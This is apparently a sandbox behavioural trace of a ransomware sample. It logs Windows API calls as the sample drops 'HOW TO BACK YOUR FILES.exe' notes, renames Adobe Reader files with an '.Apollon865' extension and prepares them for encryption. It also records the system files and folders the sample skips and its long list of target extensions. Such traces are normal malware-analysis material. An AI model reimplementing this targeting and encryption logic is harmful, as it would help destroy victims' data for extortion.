	[0060.502] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT"
	[0060.502] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0060.502] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7948 | out: hHeap=0x580000) returned 1
	[0060.502] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT") returned 63
	[0060.502] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT"
	[0060.502] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.502] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.509] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.509] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3c230830, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c230830, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.509] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.509] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.510] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="AdobeID.pdf" | out: lpString1="AdobeID.pdf") returned="AdobeID.pdf"
	[0060.510] lstrlenW (lpString="AdobeID.pdf") returned 11
	[0060.510] lstrlenW (lpString="Apollon865") returned 10
	[0060.510] lstrcmpiW (lpString1="dobeID.pdf", lpString2="Apollon865") returned 1
	[0060.510] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="DefaultID.pdf" | out: lpString1="DefaultID.pdf") returned="DefaultID.pdf"
	[0060.510] lstrlenW (lpString="DefaultID.pdf") returned 13
	[0060.510] lstrlenW (lpString="Apollon865") returned 10
	[0060.510] lstrcmpiW (lpString1="aultID.pdf", lpString2="Apollon865") returned 1
	[0060.510] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser"
	[0060.510] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0060.510] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7928 | out: hHeap=0x580000) returned 1
	[0060.510] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser") returned 55
	[0060.510] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser"
	[0060.510] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.510] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.523] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.523] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3c256990, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c256990, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.524] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.524] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.524] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3c256990, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c256990, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0060.524] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.524] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0060.524] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="nppdf32.CAT" | out: lpString1="nppdf32.CAT") returned="nppdf32.CAT"
	[0060.524] lstrlenW (lpString="nppdf32.CAT") returned 11
	[0060.524] lstrlenW (lpString="Apollon865") returned 10
	[0060.524] lstrcmpiW (lpString1="ppdf32.CAT", lpString2="Apollon865") returned 1
	[0060.524] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CAT.Apollon865") returned 78
	[0060.525] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.cat.apollon865"), dwFlags=0x1) returned 1
	[0060.527] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.cat.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0060.527] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=7680) returned 1
	[0060.527] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0060.528] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0060.528] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0060.528] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0060.530] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0060.530] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0060.530] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2100, lpName=0x0) returned 0x154
	[0060.533] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2100) returned 0x120000
	[0060.536] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0060.536] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0060.536] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0060.536] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0060.536] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0060.536] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0060.536] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0060.537] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0060.537] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0060.537] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0060.537] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0060.537] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0060.537] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0060.537] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0060.537] CloseHandle (hObject=0x154) returned 1
	[0060.537] CloseHandle (hObject=0xc0) returned 1
	[0060.537] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0060.537] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0060.537] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0060.538] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nppdf32.CHS", cAlternateFileName="")) returned 1
	[0060.538] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.538] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="Apollon865.txt.exe") returned 1
	[0060.538] lstrcmpiW (lpString1="nppdf32.CHS", lpString2=".") returned 1
	[0060.538] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="..") returned 1
	[0060.538] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="windows") returned -1
	[0060.538] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="bootmgr") returned 1
	[0060.538] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="temp") returned -1
	[0060.538] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="pagefile.sys") returned -1
	[0060.538] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="boot") returned 1
	[0060.538] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="ids.txt") returned 1
	[0060.538] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="ntuser.dat") returned -1
	[0060.538] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="perflogs") returned -1
	[0060.538] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="MSBuild") returned 1
	[0060.538] lstrlenW (lpString="nppdf32.CHS") returned 11
	[0060.538] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CAT") returned 67
	[0060.538] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="nppdf32.CHS" | out: lpString1="nppdf32.CHS") returned="nppdf32.CHS"
	[0060.538] lstrlenW (lpString="nppdf32.CHS") returned 11
	[0060.538] lstrlenW (lpString="Apollon865") returned 10
	[0060.538] lstrcmpiW (lpString1="ppdf32.CHS", lpString2="Apollon865") returned 1
	[0060.538] lstrlenW (lpString=".dll") returned 4
	[0060.538] lstrcmpiW (lpString1="nppdf32.CHS", lpString2=".dll") returned 1
	[0060.538] lstrlenW (lpString=".lnk") returned 4
	[0060.538] lstrcmpiW (lpString1="nppdf32.CHS", lpString2=".lnk") returned 1
	[0060.538] lstrlenW (lpString=".ini") returned 4
	[0060.538] lstrcmpiW (lpString1="nppdf32.CHS", lpString2=".ini") returned 1
	[0060.538] lstrlenW (lpString=".sys") returned 4
	[0060.538] lstrcmpiW (lpString1="nppdf32.CHS", lpString2=".sys") returned 1
	[0060.538] lstrlenW (lpString="nppdf32.CHS") returned 11
	[0060.538] lstrlenW (lpString="bak") returned 3
	[0060.539] lstrcmpiW (lpString1="CHS", lpString2="bak") returned 1
	[0060.539] lstrlenW (lpString="ba_") returned 3
	[0060.539] lstrcmpiW (lpString1="CHS", lpString2="ba_") returned 1
	[0060.539] lstrlenW (lpString="dbb") returned 3
	[0060.539] lstrcmpiW (lpString1="CHS", lpString2="dbb") returned -1
	[0060.539] lstrlenW (lpString="vmdk") returned 4
	[0060.539] lstrcmpiW (lpString1=".CHS", lpString2="vmdk") returned -1
	[0060.539] lstrlenW (lpString="rar") returned 3
	[0060.539] lstrcmpiW (lpString1="CHS", lpString2="rar") returned -1
	[0060.539] lstrlenW (lpString="zip") returned 3
	[0060.539] lstrcmpiW (lpString1="CHS", lpString2="zip") returned -1
	[0060.539] lstrlenW (lpString="tgz") returned 3
	[0060.539] lstrcmpiW (lpString1="CHS", lpString2="tgz") returned -1
	[0060.539] lstrlenW (lpString="vbox") returned 4
	[0060.539] lstrcmpiW (lpString1=".CHS", lpString2="vbox") returned -1
	[0060.539] lstrlenW (lpString="vdi") returned 3
	[0060.539] lstrcmpiW (lpString1="CHS", lpString2="vdi") returned -1
	[0060.539] lstrlenW (lpString="vhd") returned 3
	[0060.539] lstrcmpiW (lpString1="CHS", lpString2="vhd") returned -1
	[0060.539] lstrlenW (lpString="vhdx") returned 4
	[0060.539] lstrcmpiW (lpString1=".CHS", lpString2="vhdx") returned -1
	[0060.539] lstrlenW (lpString="avhd") returned 4
	[0060.539] lstrcmpiW (lpString1=".CHS", lpString2="avhd") returned -1
	[0060.539] lstrlenW (lpString="db") returned 2
	[0060.539] lstrcmpiW (lpString1="HS", lpString2="db") returned 1
	[0060.539] lstrlenW (lpString="db2") returned 3
	[0060.539] lstrcmpiW (lpString1="CHS", lpString2="db2") returned -1
	[0060.539] lstrlenW (lpString="db3") returned 3
	[0060.539] lstrcmpiW (lpString1="CHS", lpString2="db3") returned -1
	[0060.539] lstrlenW (lpString="dbf") returned 3
	[0060.539] lstrcmpiW (lpString1="CHS", lpString2="dbf") returned -1
	[0060.539] lstrlenW (lpString="mdf") returned 3
	[0060.539] lstrcmpiW (lpString1="CHS", lpString2="mdf") returned -1
	[0060.539] lstrlenW (lpString="mdb") returned 3
	[0060.539] lstrcmpiW (lpString1="CHS", lpString2="mdb") returned -1
	[0060.540] lstrlenW (lpString="sql") returned 3
	[0060.540] lstrcmpiW (lpString1="CHS", lpString2="sql") returned -1
	[0060.540] lstrlenW (lpString="sqlite") returned 6
	[0060.540] lstrcmpiW (lpString1="32.CHS", lpString2="sqlite") returned -1
	[0060.540] lstrlenW (lpString="sqlite3") returned 7
	[0060.540] lstrcmpiW (lpString1="f32.CHS", lpString2="sqlite3") returned -1
	[0060.540] lstrlenW (lpString="sqlitedb") returned 8
	[0060.540] lstrcmpiW (lpString1="df32.CHS", lpString2="sqlitedb") returned -1
	[0060.540] lstrlenW (lpString="xml") returned 3
	[0060.540] lstrcmpiW (lpString1="CHS", lpString2="xml") returned -1
	[0060.540] lstrlenW (lpString="$er") returned 3
	[0060.540] lstrcmpiW (lpString1="CHS", lpString2="$er") returned 1
	[0060.540] lstrlenW (lpString="4dd") returned 3
	[0060.540] lstrcmpiW (lpString1="CHS", lpString2="4dd") returned 1
	[0060.540] lstrlenW (lpString="4dl") returned 3
	[0060.540] lstrcmpiW (lpString1="CHS", lpString2="4dl") returned 1
	[0060.540] lstrlenW (lpString="^^^") returned 3
	[0060.540] lstrcmpiW (lpString1="CHS", lpString2="^^^") returned 1
	[0060.540] lstrlenW (lpString="abs") returned 3
	[0060.540] lstrcmpiW (lpString1="CHS", lpString2="abs") returned 1
	[0060.540] lstrlenW (lpString="abx") returned 3
	[0060.540] lstrcmpiW (lpString1="CHS", lpString2="abx") returned 1
	[0060.540] lstrlenW (lpString="accdb") returned 5
	[0060.540] lstrcmpiW (lpString1="2.CHS", lpString2="accdb") returned -1
	[0060.540] lstrlenW (lpString="accdc") returned 5
	[0060.540] lstrcmpiW (lpString1="2.CHS", lpString2="accdc") returned -1
	[0060.540] lstrlenW (lpString="accde") returned 5
	[0060.540] lstrcmpiW (lpString1="2.CHS", lpString2="accde") returned -1
	[0060.540] lstrlenW (lpString="accdr") returned 5
	[0060.540] lstrcmpiW (lpString1="2.CHS", lpString2="accdr") returned -1
	[0060.540] lstrlenW (lpString="accdt") returned 5
	[0060.540] lstrcmpiW (lpString1="2.CHS", lpString2="accdt") returned -1
	[0060.540] lstrlenW (lpString="accdw") returned 5
	[0060.540] lstrcmpiW (lpString1="2.CHS", lpString2="accdw") returned -1
	[0060.540] lstrlenW (lpString="accft") returned 5
	[0060.541] lstrcmpiW (lpString1="2.CHS", lpString2="accft") returned -1
	[0060.541] lstrlenW (lpString="adb") returned 3
	[0060.541] lstrcmpiW (lpString1="CHS", lpString2="adb") returned 1
	[0060.541] lstrlenW (lpString="adb") returned 3
	[0060.541] lstrcmpiW (lpString1="CHS", lpString2="adb") returned 1
	[0060.541] lstrlenW (lpString="ade") returned 3
	[0060.541] lstrcmpiW (lpString1="CHS", lpString2="ade") returned 1
	[0060.541] lstrlenW (lpString="adf") returned 3
	[0060.541] lstrcmpiW (lpString1="CHS", lpString2="adf") returned 1
	[0060.541] lstrlenW (lpString="adn") returned 3
	[0060.541] lstrcmpiW (lpString1="CHS", lpString2="adn") returned 1
	[0060.541] lstrlenW (lpString="adp") returned 3
	[0060.541] lstrcmpiW (lpString1="CHS", lpString2="adp") returned 1
	[0060.541] lstrlenW (lpString="alf") returned 3
	[0060.541] lstrcmpiW (lpString1="CHS", lpString2="alf") returned 1
	[0060.541] lstrlenW (lpString="ask") returned 3
	[0060.541] lstrcmpiW (lpString1="CHS", lpString2="ask") returned 1
	[0060.541] lstrlenW (lpString="btr") returned 3
	[0060.541] lstrcmpiW (lpString1="CHS", lpString2="btr") returned 1
	[0060.541] lstrlenW (lpString="cat") returned 3
	[0060.541] lstrcmpiW (lpString1="CHS", lpString2="cat") returned 1
	[0060.541] lstrlenW (lpString="cdb") returned 3
	[0060.541] lstrcmpiW (lpString1="CHS", lpString2="cdb") returned 1
	[0060.541] lstrlenW (lpString="ckp") returned 3
	[0060.541] lstrcmpiW (lpString1="CHS", lpString2="ckp") returned -1
	[0060.541] lstrlenW (lpString="cma") returned 3
	[0060.541] lstrcmpiW (lpString1="CHS", lpString2="cma") returned -1
	[0060.541] lstrlenW (lpString="cpd") returned 3
	[0060.541] lstrcmpiW (lpString1="CHS", lpString2="cpd") returned -1
	[0060.541] lstrlenW (lpString="dacpac") returned 6
	[0060.541] lstrcmpiW (lpString1="32.CHS", lpString2="dacpac") returned -1
	[0060.541] lstrlenW (lpString="dad") returned 3
	[0060.541] lstrcmpiW (lpString1="CHS", lpString2="dad") returned -1
	[0060.542] lstrlenW (lpString="dadiagrams") returned 10
	[0060.542] lstrcmpiW (lpString1="ppdf32.CHS", lpString2="dadiagrams") returned 1
	[0060.542] lstrlenW (lpString="daschema") returned 8
	[0060.542] lstrcmpiW (lpString1="df32.CHS", lpString2="daschema") returned 1
	[0060.542] lstrlenW (lpString="db-journal") returned 10
	[0060.542] lstrcmpiW (lpString1="ppdf32.CHS", lpString2="db-journal") returned 1
	[0060.542] lstrlenW (lpString="db-shm") returned 6
	[0060.542] lstrcmpiW (lpString1="32.CHS", lpString2="db-shm") returned -1
	[0060.542] lstrlenW (lpString="db-wal") returned 6
	[0060.542] lstrcmpiW (lpString1="32.CHS", lpString2="db-wal") returned -1
	[0060.542] lstrlenW (lpString="dbc") returned 3
	[0060.542] lstrcmpiW (lpString1="CHS", lpString2="dbc") returned -1
	[0060.542] lstrlenW (lpString="dbs") returned 3
	[0060.542] lstrcmpiW (lpString1="CHS", lpString2="dbs") returned -1
	[0060.542] lstrlenW (lpString="dbt") returned 3
	[0060.542] lstrcmpiW (lpString1="CHS", lpString2="dbt") returned -1
	[0060.542] lstrlenW (lpString="dbv") returned 3
	[0060.542] lstrcmpiW (lpString1="CHS", lpString2="dbv") returned -1
	[0060.542] lstrlenW (lpString="dbx") returned 3
	[0060.542] lstrcmpiW (lpString1="CHS", lpString2="dbx") returned -1
	[0060.542] lstrlenW (lpString="dcb") returned 3
	[0060.542] lstrcmpiW (lpString1="CHS", lpString2="dcb") returned -1
	[0060.542] lstrlenW (lpString="dct") returned 3
	[0060.542] lstrcmpiW (lpString1="CHS", lpString2="dct") returned -1
	[0060.542] lstrlenW (lpString="dcx") returned 3
	[0060.542] lstrcmpiW (lpString1="CHS", lpString2="dcx") returned -1
	[0060.542] lstrlenW (lpString="ddl") returned 3
	[0060.542] lstrcmpiW (lpString1="CHS", lpString2="ddl") returned -1
	[0060.542] lstrlenW (lpString="dlis") returned 4
	[0060.542] lstrcmpiW (lpString1=".CHS", lpString2="dlis") returned -1
	[0060.542] lstrlenW (lpString="dp1") returned 3
	[0060.542] lstrcmpiW (lpString1="CHS", lpString2="dp1") returned -1
	[0060.542] lstrlenW (lpString="dqy") returned 3
	[0060.542] lstrcmpiW (lpString1="CHS", lpString2="dqy") returned -1
	[0060.543] lstrlenW (lpString="dsk") returned 3
	[0060.543] lstrcmpiW (lpString1="CHS", lpString2="dsk") returned -1
	[0060.543] lstrlenW (lpString="dsn") returned 3
	[0060.543] lstrcmpiW (lpString1="CHS", lpString2="dsn") returned -1
	[0060.543] lstrlenW (lpString="dtsx") returned 4
	[0060.543] lstrcmpiW (lpString1=".CHS", lpString2="dtsx") returned -1
	[0060.543] lstrlenW (lpString="dxl") returned 3
	[0060.543] lstrcmpiW (lpString1="CHS", lpString2="dxl") returned -1
	[0060.543] lstrlenW (lpString="eco") returned 3
	[0060.543] lstrcmpiW (lpString1="CHS", lpString2="eco") returned -1
	[0060.543] lstrlenW (lpString="ecx") returned 3
	[0060.543] lstrcmpiW (lpString1="CHS", lpString2="ecx") returned -1
	[0060.543] lstrlenW (lpString="edb") returned 3
	[0060.543] lstrcmpiW (lpString1="CHS", lpString2="edb") returned -1
	[0060.543] lstrlenW (lpString="epim") returned 4
	[0060.543] lstrcmpiW (lpString1=".CHS", lpString2="epim") returned -1
	[0060.543] lstrlenW (lpString="fcd") returned 3
	[0060.543] lstrcmpiW (lpString1="CHS", lpString2="fcd") returned -1
	[0060.543] lstrlenW (lpString="fdb") returned 3
	[0060.543] lstrcmpiW (lpString1="CHS", lpString2="fdb") returned -1
	[0060.543] lstrlenW (lpString="fic") returned 3
	[0060.543] lstrcmpiW (lpString1="CHS", lpString2="fic") returned -1
	[0060.543] lstrlenW (lpString="flexolibrary") returned 12
	[0060.543] lstrlenW (lpString="fm5") returned 3
	[0060.543] lstrcmpiW (lpString1="CHS", lpString2="fm5") returned -1
	[0060.543] lstrlenW (lpString="fmp") returned 3
	[0060.543] lstrcmpiW (lpString1="CHS", lpString2="fmp") returned -1
	[0060.543] lstrlenW (lpString="fmp12") returned 5
	[0060.543] lstrcmpiW (lpString1="2.CHS", lpString2="fmp12") returned -1
	[0060.543] lstrlenW (lpString="fmpsl") returned 5
	[0060.543] lstrcmpiW (lpString1="2.CHS", lpString2="fmpsl") returned -1
	[0060.543] lstrlenW (lpString="fol") returned 3
	[0060.543] lstrcmpiW (lpString1="CHS", lpString2="fol") returned -1
	[0060.543] lstrlenW (lpString="fp3") returned 3
	[0060.543] lstrcmpiW (lpString1="CHS", lpString2="fp3") returned -1
	[0060.544] lstrlenW (lpString="fp4") returned 3
	[0060.544] lstrcmpiW (lpString1="CHS", lpString2="fp4") returned -1
	[0060.544] lstrlenW (lpString="fp5") returned 3
	[0060.544] lstrcmpiW (lpString1="CHS", lpString2="fp5") returned -1
	[0060.544] lstrlenW (lpString="fp7") returned 3
	[0060.544] lstrcmpiW (lpString1="CHS", lpString2="fp7") returned -1
	[0060.544] lstrlenW (lpString="fpt") returned 3
	[0060.544] lstrcmpiW (lpString1="CHS", lpString2="fpt") returned -1
	[0060.544] lstrlenW (lpString="frm") returned 3
	[0060.544] lstrcmpiW (lpString1="CHS", lpString2="frm") returned -1
	[0060.544] lstrlenW (lpString="gdb") returned 3
	[0060.544] lstrcmpiW (lpString1="CHS", lpString2="gdb") returned -1
	[0060.544] lstrlenW (lpString="gdb") returned 3
	[0060.544] lstrcmpiW (lpString1="CHS", lpString2="gdb") returned -1
	[0060.544] lstrlenW (lpString="grdb") returned 4
	[0060.544] lstrcmpiW (lpString1=".CHS", lpString2="grdb") returned -1
	[0060.544] lstrlenW (lpString="gwi") returned 3
	[0060.544] lstrcmpiW (lpString1="CHS", lpString2="gwi") returned -1
	[0060.544] lstrlenW (lpString="hdb") returned 3
	[0060.544] lstrcmpiW (lpString1="CHS", lpString2="hdb") returned -1
	[0060.544] lstrlenW (lpString="his") returned 3
	[0060.544] lstrcmpiW (lpString1="CHS", lpString2="his") returned -1
	[0060.544] lstrlenW (lpString="ib") returned 2
	[0060.544] lstrcmpiW (lpString1="HS", lpString2="ib") returned -1
	[0060.545] lstrlenW (lpString="idb") returned 3
	[0060.545] lstrcmpiW (lpString1="CHS", lpString2="idb") returned -1
	[0060.545] lstrlenW (lpString="ihx") returned 3
	[0060.545] lstrcmpiW (lpString1="CHS", lpString2="ihx") returned -1
	[0060.545] lstrlenW (lpString="itdb") returned 4
	[0060.545] lstrcmpiW (lpString1=".CHS", lpString2="itdb") returned -1
	[0060.545] lstrlenW (lpString="itw") returned 3
	[0060.545] lstrcmpiW (lpString1="CHS", lpString2="itw") returned -1
	[0060.545] lstrlenW (lpString="jet") returned 3
	[0060.545] lstrcmpiW (lpString1="CHS", lpString2="jet") returned -1
	[0060.545] lstrlenW (lpString="jtx") returned 3
	[0060.545] lstrcmpiW (lpString1="CHS", lpString2="jtx") returned -1
	[0060.545] lstrlenW (lpString="kdb") returned 3
	[0060.545] lstrcmpiW (lpString1="CHS", lpString2="kdb") returned -1
	[0060.545] lstrlenW (lpString="kexi") returned 4
	[0060.545] lstrcmpiW (lpString1=".CHS", lpString2="kexi") returned -1
	[0060.545] lstrlenW (lpString="kexic") returned 5
	[0060.545] lstrcmpiW (lpString1="2.CHS", lpString2="kexic") returned -1
	[0060.545] lstrlenW (lpString="kexis") returned 5
	[0060.545] lstrcmpiW (lpString1="2.CHS", lpString2="kexis") returned -1
	[0060.545] lstrlenW (lpString="lgc") returned 3
	[0060.545] lstrcmpiW (lpString1="CHS", lpString2="lgc") returned -1
	[0060.545] lstrlenW (lpString="lwx") returned 3
	[0060.545] lstrcmpiW (lpString1="CHS", lpString2="lwx") returned -1
	[0060.545] lstrlenW (lpString="maf") returned 3
	[0060.545] lstrcmpiW (lpString1="CHS", lpString2="maf") returned -1
